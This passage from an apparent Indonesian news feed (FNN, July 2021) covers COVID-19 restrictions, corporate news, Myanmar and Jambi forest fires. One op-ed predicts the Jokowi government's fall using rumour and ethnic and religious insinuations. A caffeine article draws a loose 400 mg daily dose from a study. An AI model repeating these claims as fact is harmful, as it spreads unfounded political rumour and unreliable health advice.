Wisnu Handoko dilantik sebagai Kepala BNNP Maluku Utara dan Edhy Moestofa menempati jabatan Inspektur Pengawasan dan Pemeriksaan Khusus Inspektorat Utama BNN RI. Kepala BNN berharap sepuluh pejabat yang dilantik tersebut dapat segera menyesuaikan dan memiliki semangat untuk menumbuhkan motivasi dalam membuat terobosan baru yang positif. (MD).

Bank Syariah Indonesia Salurkan 3.000 Hewan Kurban

Jakarta, (FNN) - PT Bank Syariah Indonesia (BSI} Tbk menyalurkan lebih dari 3.000 hewan kurban kepada mustahik dan mitra yang membutuhkan pada Idul Adha 1442 Hijriah. “Namun hal ini tentunya tidak menyurutkan semangat dan antusiasme kita semua untuk berkurban, sebagai wujud syukur serta berbagi kepada saudara-saudara kita yang membutuhkan bantuan dan uluran tangan kita,” kata Direktur Utama BSI Hery Gunardi dalam keterangannya, di Jakarta, Rabu, 21 Juli 2021.Penerima hewan kurban dari BSI di antaranya lembaga pendidikan, mustahik yang sesuai asnaf, masjid, pondok pesantren, dan para mitra yang membutuhkan di sekitar 45 kantor cabang di Indonesia. Jumlah hewan kurban yang disalurkan sebanyak 168 ekor sapi dan 3.138 ekor kambing. “BSI sebagai bank syariah terbesar di Indonesia siap menjadi mitra bagi masyarakat dalam bertransaksi sesuai prinsip syariah sekaligus memberikan manfaat bagi umat,” kata Hery, sebagaimana dikutip dari Kantor Berita Antara.BSI menggandeng 19 Lembaga Amil Zakat ,termasuk Yayasan BSM Umat untuk program pembelian hewan kurban melalui digital platform BSI Mobile dan Hasanah Card. Pihaknya, mengalokasikan dana penyaluran hewan kurban mencapai Rp 4,8 miliar. Melalui aplikasi BSI Mobile, masyarakat dapat menentukan sendiri pemasok dan jenis hewan kurban yang diinginkan serta memberikan kemudahan pembelian hewan kurban melalui produk BSI Hasanah Card. “Melalui program-program tersebut, BSI fokus pada aspek efisiensi penyaluran, tepat sasaran dan sesuai protokol kesehatan serta aturan yang ditetapkan pemerintah. BSI juga menyasar daerah- daerah terluar seperti Ambon, Pulau Rote dan Mamuju (Bima) mengingat akses dan kebutuhan masyarakat cukup tinggi,” tutur Hery. Selain itu, BSI bersama Yayasan BSMU juga menggelar program Qurban From Home. Program tersebut dimaksudkan untuk memberikan kemudahan bagi para mudhohi dalam menyalurkan hewan kurbannya secara daring dan menyaksikan pemotongan hewan kurban secara daring melalui Youtube. Acara simbolik penyerahan hewan kurban berupa 3 ekor sapi dilakukan secara daring oleh Hery Gunardi kepada masyarakat di sekitar 3 masjid BSI, yaitu Masjid BSI Tol Cipularang KM88A, Masjid BSI Tol Cipali KM165, dan Mushola BSI di Gunung Bromo - Jawa Timur. (MD).

Ombudsman NTT: Syarat Vaksinasi Jangan Menyandera Hak Layanan Publik

Kupang, FNN - Kepala Ombudsman RI Perwakilan Nusa Tenggara Timur (NTT) Darius Beda Daton mengingatkan syarat vaksinasi COVID-19 yang diberlakukan pemerintah daerah perlu dikaji secara mendalam, agar tidak merugikan masyarakat dalam mendapatkan hak pelayanan publik. "Syarat vaksinasi jangan sampai menyandera hak setiap warga dalam mendapatkan pelayanan publik dengan alasan yang tidak dapat dipertanggungjawabkan," katanya, di Kupang, Rabu. Ia mengatakan dalam sepekan terakhir pihaknya mendapatkan banyak informasi dari masyarakat di NTT yang bertanya terkait kesulitan mendapatkan layanan publik, seperti mengurus KTP karena disyaratkan harus sudah menjalani vaksinasi COVID-19. Darius menjelaskan syarat sertifikat vaksin dalam pengurusan administrasi warga memang diatur dalam Peraturan Presiden Nomor 14 Tahun 2021 tentang Pengadaan dan Pelaksanaan Vaksinasi Dalam Rangka Penanggulangan Pandemi COVID-19. Pasal 13 A ayat 4 peraturan tersebut menegaskan orang yang tidak mengikuti vaksinasi dikenakan sanksi administratif berupa penundaan atau penghentian layanan administratif pemerintahan. Meski demikian, kata dia, harus dipahami bahwa orang yang tidak mengikuti berbeda makna dengan orang yang belum mengikuti vaksin. Sanksi administratif hanya bisa dikenakan bagi orang yang tidak, bermakna bahwa yang bersangkutan memang tidak ada niat dan tidak mau divaksin. Sedangkan orang yang belum divaksin, kata dia, bisa jadi karena alasan lain baik bersifat internal seperti orang tersebut belum boleh divaksin karena belum tiga bulan yang bersangkutan negatif dari COVID-19 atau alasan penyakit penyerta. Selain itu, alasan eksternal seperti di daerahnya masih kurang tersedia vaksin. "Sehingga hemat saya, tidak boleh karena belum divaksin, maka serta-merta mengurangi hak rakyat terhadap layanan administratif warga," katanya lagi. Darius menegaskan bahwa layanan publik adalah hak warga dan menjadi kewajiban pemerintah, karena itu tidak boleh disandera dengan alasan yang tidak dapat dipertanggungjawabkan. Menurut dia, pelaksanaan vaksinasi oleh negara adalah dalam rangka menjamin keselamatan publik yang menjadi tanggung jawab negara sebagaimana tertera jelas dalam konstitusi negara Oleh karena itu, kata dia lagi, vaksinasi wajib didukung demi keselamatan warga, namun tantangannya adalah bagaimana pemerintah memilih instrumen pewajiban yang tepat dengan tidak harus menyandera pelayanan administratif warga. (mth)

Konsumsi Kafein Bantu Hilangkan Lemak di Perut

Jakarta, FNN - Lemak menjadi salah satu masalah bagi tubuh jika ternyata terlalu menumpuk di bagian perut karena bisa meningkatkan potensi masalah organ dalam hingga darah tinggi. Meski demikian rupanya ada cara sederhana untuk mengurangi lemak secara alami dengan mengonsumsi minuman yang memiliki kandungan kafein. Melansir India Times, Rabu, dalam studi yang dilakukan pakar dan tercantum dalam “American Journal of Clinical Nutrition” dibuktikan bahwa kafein berdampak pada metabolisme orang- orang yang obesitas. Metabolisme yang merupakan proses tubuh mengubah makanan menjadi energi, dengan mengonsumsi kafein rupanya anda bisa mempercepat proses metabolisme dan menurunkan berat badan. Dalam studi itu subjek yang memiliki berat badan normal boleh mengonsumsi kafein dengan hitungan 8 miligram per kilogram berat badannya. Setelah diobservasi terlihat bahwa hasil metabolisme di dalam tubuhnya meningkat signifikan dalam waktu tiga jam setelah mengonsumsi kafein. Selanjutnya, untuk subjek dengan obesitas dan grup lainnya mendapatkan konsumsi 4 miligram per kilogram berat badan mereka. Kedua grup itu juga mengalami peningkatan metabolisme tubuh, meski demikian pembakaran yang optimal didapatkan oleh kelompok yang tidak mengalami obesitas. Hasil riset itu pun menyebutkan kafein dapat meningkatkan metabolisme tubuh baik dengan berat badan normal maupun obesitas, namun tetap bekerja lebih optimal membakar lemak pada orang dengan berat badan normal. Dalam situs milik ahli nutrisi Holland and Barrett, berkaca dari penilitian di jurnal tersebut, Anda disarankan hanya mengonsumsi sesuai takaran dalam percobaan itu. Jika anda memiliki berat badan 50 kilogram, dengan takaran 8 miligram perkilogram maka anda bisa mengonsumsi sebanyak 400 miligram kafein. Kafein secara mudah bisa ditemukan dari kopi atau pun teh yang tersedia banyak di pasaran. Untuk 1 gelas kopi mengandung sekitar 100 miligram kafein, sedangkan 1 gelas teh baik teh hijau maupun teh hitam memiliki kandungan 75 miligram kafein. Artinya anda bisa mengonsumsi sebanyak 4 gelas teh atau kopi dalam sehari. Meski demikian perlu diingat, pemberian kafein tidak dibarengi dengan tambahan lainnya seperti gula atau pun krimer. Selain mengonsumsi kafein, untuk anda yang sedang berjuang menghilangkan lemak berlebih di perut disarankan tetap harus menjaga pola makan yang sehat dengan mengonsumsi makanan yang mengandung protein seperti kacang- kacangan, telur, dan ikan. Jangan lupa juga memenuhi kebutuhan minum air putih delapan gelas sehari. (mth)

Ubah Bandara Kertajati Menjadi Rumah Sakit Rujukan Covid-19

Bandung, (FNN) - Anggota DPRD Provinsi Jawa Barat (Jabar) Daddy Rohanady mengatakan, Bandara Internasional Jawa Barat (BIJB) Kertajati, di Kabupaten Majalengka, bisa diubah fungsi menjadi rumah sakit rujukan bagi pasien Covid-19. "Daripada mubazir hanya untuk tempat swafoto atau rekreasi, mungkin ini bisa jadi pilihan (diubah menjadi RS rujukan Covid-19). Tinggal support obat-obatan, alat-alat kesehatan, dan tenaga kesehatan. Memang kedengarannya tidak masuk akal, tetapi sekarang yang memungkinkan segala sesuatu bisa terjadi," kata Daddy Rohanady, dalam keterangan tertulisnya, Rabu, 21 Juli 201. Menurut Wakil Fraksi Gerindra Jabar itu, gagasan menjadikan Bandara Kertajati sebagai RS rujukan Covid-19 juga bukan satu-satunya pilihan. Ia hanya mencoba menawarkan pilihan dan jika hal tersebut memungkinkan karena ada konsekuensi yang menyertainya, memang dibutuhkan kajian lebih dahulu. "Bukankah selama ini Jabar seolah kehilangan arah tentang fungsi BIJB Kertajati? Sekarang ada kesempatan yang bisa dijadikan pilihan," kata dia. Dia mengatakan, jika jumlah warga yang terpapar Covid-19 terus meningkat, dibutuhkan banyak tempat perawatan pasien. Jika rumah sakit sudah tidak lagi bisa menampung, maka dibutuhkan tempat yang lebih luas agar rakyat tidaak bingung. Dalam situasi seperti sekarang ini, Bandara Internasional Jawa Barat (BIJB) Kertajati bisa dijadikan pilihan. Terkait rencana dijadikan tempat maintenance, repair, dan overhaul (MRO) pesawat TNI dan Polri juga masih butuh waktu untuk mempersiapkan. Apalagi, pengalihan PT Dirgantara Indonesia dan PT Pindad dan memindahkan kedua perusahaan itu ke BIJB, bukan hal sederhana "Butuh waktu yang tidak sebentar

Waskita Karya dan PT API Tandatangani Divestasi Tol Cibitung-Cilincing

Jakarta, FNN - PT Waskita Karya (Persero) Tbk melalui ) melalui anak usahanya yaitu PT Waskita Toll Road dan PT Akses Pelabuhan Indonesia (API) menandatangani divestasi Jalan Tol Cibitung-Cilincing. Direktur Utama Waskita Toll Road atau WTR, Septiawan Andri Purwanto menjelaskan dana yang diterima dari hasil divestasi ini akan digunakan untuk mendukung proses bisnis WTR ke depannya. "Setelah menandatangani PPJB, kami masih harus melakukan pemenuhan persyaratan administrasi dan memastikan proses divestasi dilakukan dengan mematuhi ketentuan yang berlaku sebelum penandatanganan Akta Jual Beli (AJB) antara kami dengan PT API," ujar Septiawan dalam keterangan tertulis yang diterima di Jakarta, Rabu. WTR telah menandatangani Perjanjian Jual Beli Bersyarat (PPJB) dengan PT Akses Pelabuhan Indonesia atas seluruh kepemilikan saham WTR pada PT Cibitung Tanjung Priok Port Tollways (CTP). CTP adalah pemegang konsesi atas jalan tol Cibitung Cilincing. Divestasi jalan tol merupakan bagian dari proses bisnis Waskita sebagai salah satu pengembang infrastruktur terbesar di Tanah Air. Waskita menggunakan skema asset recycling, yaitu investment – construction – divestment dalam mendorong kinerja usaha serta sebagai bentuk nyata kontribusi perusahaan dalam mendukung pembangunan Nasional. Selain bagian dari proses bisnis Waskita, Divestasi juga merupakan bagian dari komitmen Waskita dalam rangka penyehatan keuangan Waskita serta menciptakan bisnis yang berkelanjutan. Melalui penandatanganan PPJB tersebut, WTR dan PT API menyepakati untuk melakukan pengalihan 55 persen saham WTR pada CTP melalui skema jual beli dengan nilai transaksi sebesar Rp2,49 Triliun. Adapun kini WTR merupakan pemegang saham atas 55 persen saham pada CTP, sedangkan PT API merupakan pemegang saham atas 45 persen saham pada CTP. Setelah transaksi diselesaikan maka PT API akan menjadi pemegang saham atas keseluruhan CTP. PT API merupakan anak usaha dari PT Pengembang Pelabuhan Indonesia dan PT Pelabuhan Tanjung Priok,serta bagian dari grup perusahaan PT Pelabuhan Indonesia II (Persero). PT API bergerak dalam bidang penyediaan jalan akses khusus dan/atau jalan tol kepelabuhan dan fasilitas pendukungnya. Penandatanganan PPJB tersebut dilakukan oleh Septiawan Andri selaku Direktur Utama WTR dan Iwan Ridwan selaku Direktur Utama PT API pada hari Rabu (21/7) secara daring. Dengan adanya divestasi CTP ini, Waskita diperkirakan dapat menurunkan utang melalui dekonsolidasi hingga Rp5 Triliun. Saat ini Waskita telah sukses melaksanakan divestasi atas 4 ruas jalan tol dari 9 ruas jalan tol yang ditargetkan untuk dilepas kepada investor di tahun 2021 ini. Sebagai informasi, pada April 2021, Waskita telah sukses melakukan divestasi atas seluruh kepemilikan saham WTR pada PT Jasamarga Kualanamu Tol (JMKT) kepada Kings Rings Ltd. Kemudian pada bulan Juni 2021 lalu, Waskita juga telah berhasil melakukan divestasi atas 40 persen kepemilikan saham WTR pada PT Jasamarga Semarang Batang (JSB) serta divestasi atas 35 persen saham WTR pada PT Cinere Serpong Jaya (CSJ). Divestasi kepemilikan WTR pada JSB dilakukan dengan 2 skema, yaitu melalui melalui penerbitan Reksa Dana Penyertaan Terbatas (RDPT), serta melalui konversi saham (share swap), masing-masing atas 20 persen kepemilikan WTR pada JSB. Sedangkan divestasi pada CSJ dilakukan seluruhnya melalui mekanisme share swap. Kesuksesan Waskita dalam melakukan divestasi ini membuktikan bahwa minat para investor untuk melakukan investasi pada konsesi jalan tol Waskita masih sangat tinggi. President Director Waskita, Destiawan Soewardjono mengatakan divestasi dan program penyehatan keuangan lainnya akan mendorong perbaikan kondisi keuangan Waskita, untuk kemudian dapat memberikan dampak yang positif terhadap pencatatan kinerja Waskita di masa mendatang. (mth)

Muhammadiyah Dukung Perpanjangan PPKM untuk Kebaikan Bersama

Jakarta, FNN - Ketua PP Muhammadiyah Anwar Abbas mendukung perpanjangan kebijakan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) yang disampaikan Presiden Joko Widodo, jika tujuannya untuk kebaikan bersama. "Tugas negara dan pemerintah berdasarkan konstitusi adalah melindungi rakyat, di antaranya dari bahaya COVID-19 dan menyejahterakan mereka. Kalau menurut pemerintah untuk kebaikan rakyat, PPKM harus dilanjutkan ya silahkan dilanjutkan," kata Anwar Abbas dalam keterangan tertulisnya di Jakarta, Rabu. Sebelumnya, Presiden Jokowi mengumumkan untuk melanjutkan PPKM hingga 25 Juli dan akan melakukan pembukaan secara bertahap mulai 26 Juli 2021. Menurut Presiden Jokowi, PPKM diterapkan untuk menurunkan penularan COVID-19 dan mengurangi kebutuhan masyarakat untuk pengobatan di rumah sakit. Abbas mengatakan apabila pemerintah sudah memutuskan memperpanjang dan meminta mengurangi mobilitas, masyarakat harus secepatnya diberikan bantuan agar kebutuhan hidupnya terpenuhi. "Pemerintah harus membantu perekonomian rakyat dengan BLT secepatnya dan secukupnya agar mereka dapat memenuhi kebutuhan hidupnya," kata dia. Apabila kasus telah menurun dan pemerintah akan melonggarkan kebijakan PPKM, masyarakat diminta tetap mempertebal penerapan protokol kesehatan. Karena cara yang paling mudah dan murah agar terhindar dari risiko penularan adalah menghindari kerumunan, mengurangi mobilitas, memakai masker, dan mencuci tangan secara berkala. "Tapi, kalau pemerintah tidak akan melanjutkan atau akan melonggarkan PPKM, masyarakat betul-betul diminta dan dituntut untuk menghormati protokol kesehatan yang ada," katanya. Ia mendesak agar aparat keamanan terjun ke pasar-pasar, stasiun, dan tempat-tempat lain yang akan mengundang kerumunan untuk mengedukasi dan memperingatkan apabila ditemukan pelanggaran. "Ini untuk mengatur dan menertibkan masyarakat agar tidak melanggar prokes, kehadiran pihak aparat jelas sangat diperlukan," ucapnya. (mth)

Penasihat Suu Kyi Meninggal di Penjara

Nyan Win,(FNN) - Politisi Nyan Win, penasihat senior pemimpin Myanmar yang dikudeta, Aung San Suu Kyi, meninggal di rumah sakit pada Selasa, 20 Juli 2021 setelah terinfeksi Covid-19 di penjara. Nyan Win, 78 tahun, menjalani hukuman di penjara Insein, Yangon, setelah ditangkap oleh militer yang mengambil-alih kekuasaan pada 1 Februari. Dia dipindahkan ke rumah sakit pekan lalu, kata partai Liga Nasional untuk Demokrasi (NLD) dalam sebuah pernyataan. Kabar meninggalnya Nyan Win itu juga disampaikan NLD "Kami berjanji terus memperjuangkan tugas kami yang belum selesai untuk mengakhiri kediktatoran di negara ini dan untuk membentuk Federal Democratic Union," kata NLD, seraya mengucapkan belasungkawa kepada keluarga pria yang pernah menjadi pengacara Suu Kyi dan juru bicara partai itu. Tim informasi dari Dewan Pemerintahan Negara yang dipimpin tentara mengatakan, penjara-penjara dilengkapi dengan fasilitas untuk merawat pasien Covid-19. Mereka juga mengatakan dalam pernyataan bahwa Nyan Win meninggal akibat penyakit diabetes dan hipertensi yang dideritanya. Menurut mereka, 375 narapidana telah tertular Covid-19, enam di antaranya meninggal dunia sebelum Nyan Win. Upaya Myanmar untuk mengendalikan wabah Covi-19 berubah menjadi kekacauan setelah militer merebut kekuasaan dari tangan pemerintah terpilih yang dipimpin Suu Kyi. Menurut data kementerian kesehatan yang dikendalikan junta, baru sekitar 1,6 juta dari 54 juta penduduk Myanmar yang telah divaksin. Global New Light of Myanmar melaporkan sekitar 750.000 dosis vaksin China akan tiba pada Kamis, 22 Juli2021. Beberapa hari kedepan, akan lebih banyak lagi vaksin menyusul masuk ke Myanmar. Diperkirakan, setengah dari populasi negara itu akan divaksin tahun 2021. Perserikatan Bangsa-Bangsa (PBB) mengatakan dalam sebuah laporan pada Senin lalu, mereka sedang berupaya memerangi "lonjakan yang mengkhawatirkan" pada kasus Covid-19 dan berharap Myanmar akan mendapat cukup vaksin lewat fasilitas COVAX tahun ini bagi 20 persen penduduknya. Myanmar mencatat rekor 281 kematian akibat Covid-19 dan 5.189 kasus baru pada Senin, kata televisi pemerintah MRTV yang mengutip data kementerian kesehatan. Namun, layanan medis dan pemakaman mengatakan, angka kematian sebenarnya jauh lebih tinggi dibandingkan data yang dilaporkan junta. Tempat-tempat kremasi dikabarkan kewalahan. Menggambarkan luasnya sebaran virus, China pada Selasa melaporkan kasus harian pada Selasa menjadi yang tertinggi sejak Januari, sebagian besar berasal dari warga negara China yang kembali ke provinsi Yunnan dari Myanmar. Zaw Wai Soe, Menteri Kesehatan Pemerintah Nasional Bersatu (NUG), pemerintah bayangan yang dibentuk oleh para penentang junta militer, mengatakan, 400.000 jiwa rakyat Myanmar bisa kehilangan nyawa jika tidak ada tindakan segera untuk memperlambat penularan. Para pengecam junta juga mengatakan, banyak warga meninggal akibat pembatasan pasokan oksigen dengan alasan menghentikan penimbunan. Reuters tidak bisa menghubungi kementerian kesehatan atau juru bicara junta untuk meminta komentar tentang penanganan COVID-19. (MD).

Kapolda Jambi Berharap Tidak Ada Lagi Karhutla Tahun Ini

Jambi, FNN - Kepala Kepolisian Daerah (Kapolda) Jambi Irjen Pol A Rachmad Wibowo berharap tidak ada titik api lagi atau kebakaran hutan dan lahan (karhutla) di Jambi pada tahun ini. Hal ini diungkapkan Kapolda Jambi saat memimpin apel siaga Karhutla di Desa Betung, Kecamatan Kumpeh, Kabupaten Muarojambi, Rabu. Dalam kesempatan ini, Irjen Pol A Rachmad Wibowo mengucapkan terimakasih kepada para petugas gabungan yang telah bekerja tanpa mengenal lelah sehingga saat ini tidak terjadi karhutla di Kabupaten Muarojambi.. "Kita tahu bahwa di wilayah yang cukup berat degan kondusi yang serba minim, tetapi rekan rekan telah melaksanakan tugas dengan baik dan dedikasi yang sangat tinggi dalam mengantisipasi terjadinya karhutla," kata jenderal bintang dua tersebut. Selanjutnya Kapolda didampingi Kapolres Muarojambi, AKBP Yuyan Priatmaja dan rombongan meninjau lokasi yang rawan akan titik api yaitu di daerah Seponjen dan selama ini tim satgas fokus dikawasan Kumpeh yang pekerjaannya sudah hampir 100 persen siap menghadapi karhutla. "Kita akan berupaya dan bekerja keras dengan saling bekerja sama dengan unsur terkait dalam upaya penanganan Karhutla dan mudah mudahan tidak ada lagi titik api selama 2021 dan selanjutnya," kata Irjen Pol A Rachmad Wibowo. Untuk saat ini langkah-langkah strategis yang sudah dilakukan dalam mengantisipasi karhutla yang sudah ada dimasyarakat akan dipertahankan dan bermanfaat bagi masyarakat dan lingkungannya tetap lestari. Pada kesempatan itu, Kapolda juga menghimbau kepada seluruh warga Betung agar selalu menerapkan protokol kesehatan COVID-19 dan berharap warga Desa Betung selalu sehat tidak ada yang sakit karena jauh dari kota dan yang menjadi khawatiran warga adalah ketika orang dari Kota datang ke desa ini, kita harus waspada setiap orang yang datang kesini, setiap gejala yang timbul agar segera dilaporkan kepada Kapolsek atau Kapolres untuk segera ditangani. Selanjutnya Kapolda memberikan bantuan sembako kepada masyarakat Desa Betung yang terdampak COVID-19, serta mengecek posko PPKM Desa Betung. Hadir dalam acara apel karhutla itu Ketua DPRD Provinsi Jambi Edi Purwanto, Bupati Muaro Jambi Hj Masnah Busro, Ketua DPRD Muaro Jambi, Kajari, Kapolres Muaro Jambi AKBP Yuyan Priatmaja, Dandim 0415 Jambi Kolonel J Hadiyanto, para OPD Lingkup Kabupaten Muarojambi, para Kades se-Kecamatan Kumpeh, anggota BPBD, dan Manggala Agni, serta masyarakat peduli api. (mth)

Keruntuhan Rezim Jokowi Mirip Soekarno?

by Tarmidzi Yusuf Bandung FNN - Ada kemiripan kemungkinan kejatuhan rezim Jokowi dengan kejatuhan Bapak Proklamator Indonesia, Ir. Soekarno. Kemesraan Soekarno, PKI dan NU ketika itu, terlembaga dalam satu koalisi politik. Nasionalis, Agama dan Komunis atau disingkat dengan NASAKOM. Kenyataan ini berbeda dengan kejatuhan Bapak Pembangunan Indonesia Soeharto. Presiden kedua Indonesia, Jenderal Besar Soeharto, disinyalir ada campur tangan asing dan aseng. Soeharto digoyang oleh jenderal merah binaan LB Moerdani, yang tak suka Soeharto yang mulai kehijau-hijauan. Dikenal dengan sebutan ijo royo-royo. Pak Harto sejak dekade 1990-an memang dekat dengan kalangan Islam. Pak Harto merestui berdirinya Ikatan Cendikiawan Muslim Indonesia (ICMI), Harian Republika dan mendorong kiprah pengusaha muslim melalui Himpunana Pengusaha Muda Indonesia (HIPMI). Langkah ini dilakukan setelah konglomerat China keturunan yang dibesarkan Presiden kedua itu, menolak permintaan Pak Harto untuk membantu usaha pribumi. Pak Harto juga merestui berdirinya bank syariah pertama di Indonesia, Bank Muamalat. Kabinet Pak Harto pun, disebut oleh mereka yang tak suka Pak Harto dengan kabinet ijo royo-royo. TNI dan POLRI pada era 1990-an, banyak dijabat jenderal yang dekat dengan kalangan Islam alias jenderal hijau. Episode kemungkinan keruntuhan rezim Jokowi mirip dengan keruntuhan Soekarno pada tahun 1966. Soekarno jatuh oleh gagalnya kudeta PKI yang kita kenal dengan pemberontakan G-30 S/PKI. Sementara, Jokowi kemungkinan jatuh, lebih kurang sama dengan Soekarno. Terpeleset oleh skenario politik sendiri. Senjata makan tuan. Kedekatan dengan negara China komunis, dikenal dengan poros baru Jakarta-Peking, akan menjadi bom waktu bagi Jokowi. Selain ada juga pembusukan dari dalam kabinet Jokowi. Diprediksi, bakal ada peristiwa besar mengawali kemungkinan kejatuhan Jokowi. Apalagi, Covid-19 yang dijadikan kendaraan politik, berpotensi memicu konflik nasional. PPKM darurat, katanya mau diumumkan senin sore kemarin. Diundur selasa atau bertepatan berakhirnya PPKM darurat hari ini. Sampai tulisan ini ditulis, belum ada pengumuman nasib PPKM darurat. Jika PPKM darurat lanjut, bisa memicu perlawanan rakyat. Pengusaha ngancam PHK besar-besaran. Pedagang dan rakyat kecil teriak lapar. PPKM darurat dituding sebagai upaya mempertahankan kekuasaan merah royo-royo. Pada masa Soekarno dulu, juga ada Poros Jakarta-Peking. Poros ini ditutup ketika Soeharto menjadi Presiden. Namun poros Jakarta-Peking ini hidup kembali di zaman Jokowi. Normalisasi hubungan RI dan RRC pada akhir 1980-an membawa petaka bagi Presiden kedua, Soeharto. Hanya berselang delapan tahun setelah normalisasi hubungan Indonesia-RRC, Soeharto berhenti sebagai Presiden. Pada masa Jokowi pula, posisi strategis baik militer, kepolisian maupun sipil banyak dipegang oleh orang-orang yang tidak suka dengan kemajuan Islam. Ummat Islam kembali terkucil dari kekuasaan. Adanya Covid-19, telah membuka tabir pemerintahan Jokowi yang sebenarnya. Tidak heran, bila selama ini rakyat hanya bisa menduga-duga, kalau petinggi rezim Jokowi banyak beraroma anti Islam alias “merah royo-royo”. Melalui PPKM darurat, tabir Luhut Binsar Panjaitan (LBP) yang non muslim, sering disebut-sebuat sebagai “The Real President” semakin menguatkan dugaan publik selama ini. Selama pelaksanaan PSBB, PPKM dan PPKM darurat, publik sering dipertontonkan oleh kerumunan Jokowi dan kerumunan vaksin. Kebijakan beberapa menteri bermuka dua. Contohnya paling kasat mata adalah kebijakan penutupan masjid untuk sholat berjamaah. Padahal, esensi PSBB atau PPKM itu pembatasan kegiatan di masjid. Bukan penutupan kegiatan masjid. Masjid ditutup, sehingga Shalat Idul Adha ditiadakan. Namun kerumunan vaksin dibiarkan. Masjid yang diuber-uber. Vaksin door to door. Publik juga dipertontonkan dengan omongan para menteri yang sering salah ucap. Bahkan sangat buruk dalam berkomunikasi dengan rakyat. Istana juga buruk dalam berkomunikasi. Masyarakat menduga ada matahari kembar di Istana. Misalnya, Menko LBP sebagai Menko yang rasa presiden ini, seringkali bertindak layaknya seorang presiden. Banyak di masyarakat yang menyebut, LBP yang sebagai The Real President. Sementara Menko PMK, Muhadjir Effendy keceplos atau sengaja dengan menyebut PPKM darurat sama dengan darurat militer. Muhajir kelihatannya Gerah dengan LBP, karena isunya bakal kena reshuffle atau cek gelombang darurat militer? Airlangga Hartarto, Menko Perekonomian dan Menteri BUMN Erick Thohir diterpa isu tak sedap. Menjadi makelar vaksin di Indonesia. Ibaratnya, sambil menyelam minum air. Vaksin yang harusnya diberikan gratis kepada masyarakat, mau diuapayakn agar diterapkan vaksin berbayar. Setelah mendapat protes dari masyarakat, akhirnya vaksin berbayar ini ditiakan. Sedangkan Menko Polhukam, Mahfud MD, yang pernah menerima beasiswa Supersemar dari Presiden Soeharto, rehat sejenak dengan menonton sinetron. Mungkin Mahfud MD semakin tak nyaman, karena job desc-nya sebagai Menko Polhukam sering diserobot oleh LBP. Kabar yang beredar diantara tukang ojek, Mahfud MD siap-siap angkat cover dari kabinet. Covid-19 kemungkinan belum mau berakhir. Diperkirakan Covid-19 baru akan berakhir bila Jokowi sudah turun atau diturunkan sebelum 2024 tiba. Merah royo-royo sedang berakrobat politik. Salah akrobat, pasti tersungkur. Penulis adalah Pegiat Da’wah dan Sosial.

Pemerintah Perpanjangan PPKM Darurat

Jakarta, (FNN)- Presiden Joko Widodo mengumumkan perpanjangan pemberlakuan pembatasan kegiatan masyarakat (PPKM) darurat hingga 25 Juli 2021. Keesokan harinya, 26 Juli 2021 akan dilakukan pembukaan secara bertahap. "Karena itu jika tren kasus terus mengalami penurunan, 26 Juli 2021 pemerintah akan melakukan pembukaan secara bertahap," kata Presiden Jokowi dalam pernyataan yang disiarkan melalui kanal Youtube Sekretariat Presiden, Selasa, 20 Juli 2021 malam. Pemerintah telah menerapkan PPKM darurat di provinsi-provinsi di Pulau Jawa-Bali serta 15 kabupaten/kota di luar Jawa dan Bali pada 3-20 Juli 2021. "Penerapan PPKM darurat yang dimulai tanggal 3 Juli 2021 yang lalu adalah kebijakan yang tidak bisa kita hindari yang harus diambil pemerintah meskipun itu sangat-sangat berat," ujarnya. Menurut P Jokowi, PPKM darurat diterapkan untuk menurunkan penularan Covid-19. Selain itu, beertujuan mengurangi kebutuhan masyarakat untuk pengobatan di rumah sakit. "Sehingga tidak menyebabkan lumpuhnya rumah sakit karena over kapasitas pasien Covid-19 serta layanan kesehatan untuk pasien dengan penyakit kritis lainnya diharapkan tidak terganggu dan terancam nyawanya," ucapnya. Alhamdulillah, ungkap Presiden, setelah dilaksanakan PPKM darurat terlihat dari data, penambahan kasus dan kepenuhan tempat tidur rumah sakit mengalami penurunan. "Kita selalu memantau, memahami dinamika di lapangan dan juga mendengar suara-suara masyarakat terdampak dari PPKM," ungkap Presiden. Bila kasus COVID-19 terus menurun maka pasar tradisional yang menjual kebutuhan pokok sehari-hari diizinkan dibuka sampai pukul 20.00 dengan kapasitas 50 persen. "Pasar tradisional selain yang menjual kebutuhan pokok sehari-hari diizinkan buka sampai pukul 15.00 dengan kapasitas maksimal 50 persen tentu saja dengan penerapan protokol kesehatan yang ketat yang pengaturannya akan ditetapkan pemerintah daerah," tutur Presiden. Pedagang kaki lima, toko kelontong, agen/outlet voucher, pangkas rambut, laundry, pedagang asongan, bengkel kecil, cucian kendaraan, dan usaha kecil lainnya yang sejenis, diizinkan buka dengan protokol kesehatan ketat sampai dengan pukul 21.00. Pengaturannya, teknis-nya diatur oleh Pemerintah Daerah. Sementara warung makan, pedagang kaki lima, lapak jajanan dan sejenisnya yang memiliki tempat usaha di ruang terbuka diizinkan buka dengan protokol kesehatan dengan ketat sampai dengan pukul 21.00. Maksimal waktu makan untuk setiap pengunjung 30 menit. Berdasarkan data Satgas Covid-19 per 20 Juli 2021, total kasus di Indonesia sudah mencapai 2.950.058 jiwa dengan penambahan dalam 24 jam tercatat sebanyak 38.325 orang. Adapun kasus aktif tercatat 550.192 orang. Pasien sembuh bertambah sebanyak 29.791 orang. Dengan demikian, akumulasi total yang telah sembuh 2.323.666 orang. Sedangkan mereka yang meninggal karena terpapar Covid-19 bertambah 1.280 orang sehingga total kematian akibat 76.200 jiwa. (MD).

Yang Terjadi Bukan Sense of Crisis, Tapi Crisis of Sense

By Asyari Usman Medan, FNN - Beberapa hari lalu, Presiden Joko Widodo (Jokowi) meminta agar para menterinya memiliki “sense of crisis” (rasa krisis). Agar ada perasaan bahwa negara ini sedang dilanda krisis. Krisisnya tidak satu sisi saja, tapi multi-dimensi. Krisis Covid, krisis ekonomi, krisis sosial, bahkan krisis politik. Kalau Jokowi meminta, itu berarti para menteri sedang tidak bisa merasakan adanya krisis. Tentu sangat parah kalau Presiden sampai meminta para menterinya menunjukkan “sense of crisis” itu. Mengapa ini bisa terjadi? Ada banyak kemungkinan. Pertama, para menteri sudah kehilangan rasa. Pada masa pandemi ini, orang yang kehilangan rasa boleh jadi terpapar Covid-19. Tidak bekerja lagi indera perasa mereka. Artinya, selain kehilangan rasa pedas, rasa asin, rasa asam, dlsb, para menteri itu kehilangan “rasa krisis” itu. Kedua, para menteri kemungkinan memegang teguh arahan Jokowi tempohari. Yaitu, tidak ada misi menteri. Yang ada misi presiden. Dari sini, bisa saja para menteri menafsirkan bahwa tidak ada itu “sense of crisis” menteri. 